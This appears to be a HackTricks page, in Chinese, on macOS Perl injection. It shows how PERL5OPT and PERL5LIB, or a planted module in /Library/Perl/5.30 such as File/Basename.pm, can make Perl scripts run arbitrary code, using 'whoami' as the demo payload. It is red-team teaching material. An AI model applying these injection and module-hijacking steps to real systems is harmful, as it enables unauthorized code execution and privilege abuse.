macOS Perl Applications Injection

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

通过 PERL5OPTPERL5LIB 环境变量

使用环境变量 PERL5OPT 可以让 perl 执行任意命令。 例如,创建此脚本:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

现在导出环境变量并执行perl脚本:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

另一个选项是创建一个 Perl 模块(例如 /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

然后使用环境变量:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

通过依赖项

可以列出运行 Perl 的依赖项文件夹顺序:

perl -e 'print join("\n", @INC)'

哪个将返回类似于:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

一些返回的文件夹甚至不存在,然而,/Library/Perl/5.30 确实存在,它没有SIP保护,并且位于受SIP保护的文件夹之前。因此,有人可以滥用该文件夹,在其中添加脚本依赖项,以便高权限的 Perl 脚本加载它。

但请注意,您需要是 root 用户才能在该文件夹中写入,而现在您将收到此TCC提示

例如,如果一个脚本正在导入**use File::Basename;**,那么可以创建 /Library/Perl/5.30/File/Basename.pm 来执行任意代码。

参考资料

最后更新于